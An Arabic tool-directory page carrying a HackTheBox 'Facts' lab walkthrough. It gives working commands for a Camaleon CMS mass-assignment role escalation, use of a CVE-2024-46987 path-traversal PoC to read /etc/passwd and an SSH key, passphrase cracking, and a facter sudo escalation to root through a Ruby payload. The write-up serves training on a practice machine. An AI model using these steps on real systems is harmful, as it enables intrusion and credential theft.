Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
HackTheBox-Facts — HTB Facts هو صندوق Linux سهل المستوى يضم Camaleon CMS و MinIO. احصل على وصول المسؤول عبر التسجيل المفتوح وثغرة التعيين الجماعي، ثم استخرج بيانات اعتماد MinIO من إعدادات المسؤول. استخدم ثغرة اجتياز المسار CVE-2024-46987 لسرقة مفتاح SSH الخاص، واقتحام عبارة المرور الخاصة به، والتصعيد إلى صلاحيات الجذر عبر استغلال صلاحيات sudo على facter باستخدام GTFOBins. | Kitploit
أدوات/GitHubGitHub/suriyaboon/hackthebox-facts
تصعيد الامتيازاتالاستطلاعهجمات كلمات المرورتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقأمن السحابة

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →

حول

HTB Facts هو صندوق Linux سهل المستوى يضم Camaleon CMS و MinIO. احصل على وصول المسؤول عبر التسجيل المفتوح وثغرة التعيين الجماعي، ثم استخرج بيانات اعتماد MinIO من إعدادات المسؤول. استخدم ثغرة اجتياز المسار CVE-2024-46987 لسرقة مفتاح SSH الخاص، واقتحام عبارة المرور الخاصة به، والتصعيد إلى صلاحيات الجذر عبر استغلال صلاحيات sudo على facter باستخدام GTFOBins.

التعلم والتعليم
GitHubsuriyaboon/hackthebox-facts

HackTheBox-Facts

عرض المستودع
منذ 2 أشهرلم تتم المراجعة بعد
مشاركة

HTB Facts — الشرح الكامل

الصعوبة: متوسط
نظام التشغيل: Linux
الوسوم: Web, MinIO, Camaleon CMS, Path Traversal, SSTI, Privilege Escalation


جدول المحتويات

  1. الاستطلاع
  2. تعداد الويب — المنفذ 80
  3. اكتشاف MinIO — المنفذ 54321
  4. Camaleon CMS — وصول المسؤول
  5. تصعيد الامتيازات إلى دور المسؤول
  6. اكتشاف بيانات اعتماد MinIO
  7. قراءة ملفات عشوائية — CVE-2024-46987
  8. وصول SSH كمستخدم trivia
  9. تصعيد الامتيازات إلى الجذر
  10. الأعلام

الاستطلاع

ابدأ بفحص شامل لمنافذ TCP لتحديد الخدمات المفتوحة.

root@kitploit:~
nmap -p- --min-rate 5000 -T4 10.129.244.96

النتائج:

المنفذالخدمةملاحظات
22SSHOpenSSH
80HTTPNginx 1.26.3 (Ubuntu)
54321غير معروفتم التعرف عليه كـ MinIO

أضف الهدف إلى /etc/hosts:

root@kitploit:~
echo "10.129.244.96 facts.htb" >> /etc/hosts

تعداد الويب — المنفذ 80

تصفّح http://facts.htb يكشف عن موقع معلومات عامة مبني على Camaleon CMS (Ruby on Rails). المؤشرات الرئيسية:

  • اسم الكوكيز: _factsapp_session (جلسة Rails)
  • مسارات الأصول: /assets/themes/camaleon_first/
  • رمز CSRF في وسمات meta
  • الخادم: nginx/1.26.3 (Ubuntu)

عدد خريطة الموقع لجميع الصفحات المتاحة:

root@kitploit:~
curl -s http://facts.htb/sitemap.xml

مسارات بارزة تم اكتشافها:

  • /admin → يعيد التوجيه إلى /admin/login
  • /rss
  • صفحات معلومات عامة متنوعة: /animal-ejected, /anne-frank, إلخ.

افحص لوحة تسجيل دخول المسؤول:

root@kitploit:~
curl -v http://facts.htb/admin
# → 302 redirect to /admin/login

اكتشاف MinIO — المنفذ 54321

اختبار المنفذ غير المعروف باستخدام curl يكشف عن MinIO، وهي خدمة تخزين كائنات متوافقة مع S3:

root@kitploit:~
curl -v http://facts.htb:54321

الاستجابة:

root@kitploit:~
<Error>
  <Code>AccessDenied</Code>
  <Message>Access Denied.</Message>
</Error>

تؤكد الترويسات: Server: MinIO

عدد أسماء الحاويات (Buckets) المحتملة (جميعها تُرجع 403، مما يؤكد وجودها):

root@kitploit:~
for bucket in facts backup uploads media files images data private secret admin internal; do
  code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
  echo "$bucket: $code"
done

جميعها تُرجع 403 Forbidden — الحاويات موجودة ولكنها تتطلب بيانات اعتماد.


Camaleon CMS — وصول المسؤول

التعرف على نظام CMS

من مسارات الأصول وكوكيز الجلسة، تم التعرف على نظام CMS باسم Camaleon CMS.

افحص الثغرات المعروفة:

root@kitploit:~
searchsploit camaleon

النتائج:

root@kitploit:~
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI)   | ruby/webapps/51489.txt

تم تأكيد إصدار لوحة المسؤول كـ 2.9.0 (ظاهر في التذييل بعد تسجيل الدخول).

إنشاء حساب

تحتوي صفحة تسجيل دخول المسؤول على http://facts.htb/admin/login على رابط "إنشاء حساب". سجّل حسابًا جديدًا:

  • انتقل إلى http://facts.htb/admin/users/sign_up
  • أدخل أي بيانات اعتماد صالحة (مثل: test123 / test123)
  • أرسل — يؤدي ذلك إلى إنشاء حساب بدور Client

بعد التسجيل، سجّل الدخول إلى لوحة تحكم المسؤول. يمتلك الحساب صلاحيات Client محدودة.


تصعيد الامتيازات إلى دور المسؤول

ثغرة الإسناد الجماعي (Mass Assignment)

Camaleon CMS عرضة لهجوم الإسناد الجماعي على نقطة تغيير كلمة المرور. من خلال اعتراض طلب تغيير كلمة المرور وحقن معامل password[role]، يمكن للمهاجم تصعيد دوره إلى admin.

الخطوات باستخدام Burp Suite:

  1. سجّل الدخول إلى لوحة المسؤول بحساب Client.
  2. انتقل إلى Profile → Edit → Change Password.
  3. أدخل أي كلمة مرور جديدة وانقر على Process.
  4. اعترض طلب POST في Burp Suite.
  5. أضف &password[role]=admin إلى نص الطلب:
root@kitploit:~
_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
  1. مرّر الطلب — يجب أن يكون الرد 200 OK.
  2. سجّل الدخول مجددًا ببيانات الاعتماد المحدّثة.

أصبح الحساب الآن بصلاحيات admin، مما يمنح وصولًا كاملًا إلى لوحة إدارة CMS بما في ذلك Settings وMedia وFilesystem Settings.


اكتشاف بيانات اعتماد MinIO

بصلاحيات المسؤول، انتقل إلى:

root@kitploit:~
Settings → General Site → Filesystem Settings

تكشف الصفحة عن بيانات اعتماد MinIO (متوافقة مع AWS S3) مضمّنة في الكود:

root@kitploit:~
AWS S3 Access Key:    AKIA59D605615FFC8875
AWS S3 Secret Key:    O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name:   randomfacts
AWS S3 Region:        us-east-1
AWS S3 Endpoint:      http://localhost:54321

قم بإعداد AWS CLI وعدد الحاويات:

root@kitploit:~
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'

aws s3 ls --endpoint-url http://facts.htb:54321

الحاويات المكتشفة:

root@kitploit:~
2025-09-11  internal
2025-09-11  randomfacts

تحتوي حاوية internal على الدليل الرئيسي لمستخدم trivia:

root@kitploit:~
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321

# Download the SSH private key
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321

قراءة ملفات عشوائية — CVE-2024-46987

بدلاً من ذلك، يمكن استرجاع مفتاح SSH الخاص عبر CVE-2024-46987، وهي ثغرة اجتياز مسار (Path Traversal) تتطلب مصادقة في Camaleon CMS تسمح بقراءة ملفات الخادم العشوائية.

استنسخ الـ PoC العام:

root@kitploit:~
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987

اقرأ الملفات الحساسة:

root@kitploit:~
# Step 1: Read /etc/passwd to enumerate system users
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd

الخرج (الأسطر ذات الصلة):

root@kitploit:~
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

تم تحديد مستخدمين: trivia وwilliam. نظرًا لأن trivia يملك قشرة تسجيل دخول ودليلًا رئيسيًا، افحص عن مفتاح SSH خاص:

root@kitploit:~
# Step 2: Read trivia's SSH private key
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519

احفظ مخرجات المفتاح في ملف:

root@kitploit:~
chmod 600 id_ed25519

وصول SSH كمستخدم trivia

كسر عبارة مرور مفتاح SSH

مفتاح SSH الخاص مشفّر بعبارة مرور. استخدم ssh2john وjohn لكسرها:

root@kitploit:~
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

عبارة المرور التي تم كسرها: dragonballz

تسجيل الدخول عبر SSH

root@kitploit:~
ssh -i id_ed25519 [email protected]
# Enter passphrase: dragonballz

استرجع علم المستخدم:

root@kitploit:~
cat /home/william/user.txt

تصعيد الامتيازات إلى الجذر

صلاحيات Sudo

افحص صلاحيات sudo لمستخدم trivia:

root@kitploit:~
sudo -l

الخرج:

root@kitploit:~
User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

يمكن للمستخدم تشغيل /usr/bin/facter كجذر بدون كلمة مرور. facter هي أداة معلومات نظام مبنية على Ruby.

GTFOBins — facter

وفقًا لـ GTFOBins، يمكن لـ facter تحميل ملفات Ruby المخصصة عبر --custom-dir، ويتم تنفيذها كمستخدم يشغّل الأمر (الجذر في هذه الحالة).

الاستغلال:

root@kitploit:~
# Create exploit directory and Ruby payload
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF

# Execute facter as root with the custom directory
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x

# Verify SUID bit is set on bash
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...

# Spawn root shell
/bin/bash -p

استرجاع علم الجذر

root@kitploit:~
whoami
# root

cat /root/root.txt

الأعلام

العلمالموقع
user.txt/home/william/user.txt
root.txt/root/root.txt

ملخص سلسلة الهجوم

root@kitploit:~
Nmap Scan
    ↓
Port 80: Camaleon CMS 2.9.0
    ↓
Register Client Account → Admin Panel
    ↓
Mass Assignment: password[role]=admin → Admin Role
    ↓
Admin Settings → MinIO Credentials Exposed
    ↓
CVE-2024-46987: Path Traversal → Read /home/trivia/.ssh/id_ed25519
    ↓
ssh2john + John → Passphrase: dragonballz
    ↓
SSH Login as trivia
    ↓
sudo facter --custom-dir (GTFOBins) → chmod +s /bin/bash
    ↓
/bin/bash -p → root

CVEs والمراجع

CVEالوصف
CVE-2024-46987اجتياز مسار يتطلب مصادقة / قراءة ملفات عشوائية في Camaleon CMS
CVE-2023-30145Camaleon CMS v2.7.0 SSTI عبر معامل formats (غير مستخدم في هذا الجهاز)
  • GTFOBins — facter
  • CVE-2024-46987 PoC
  • Camaleon CMS GitHub
تنزيل الأداة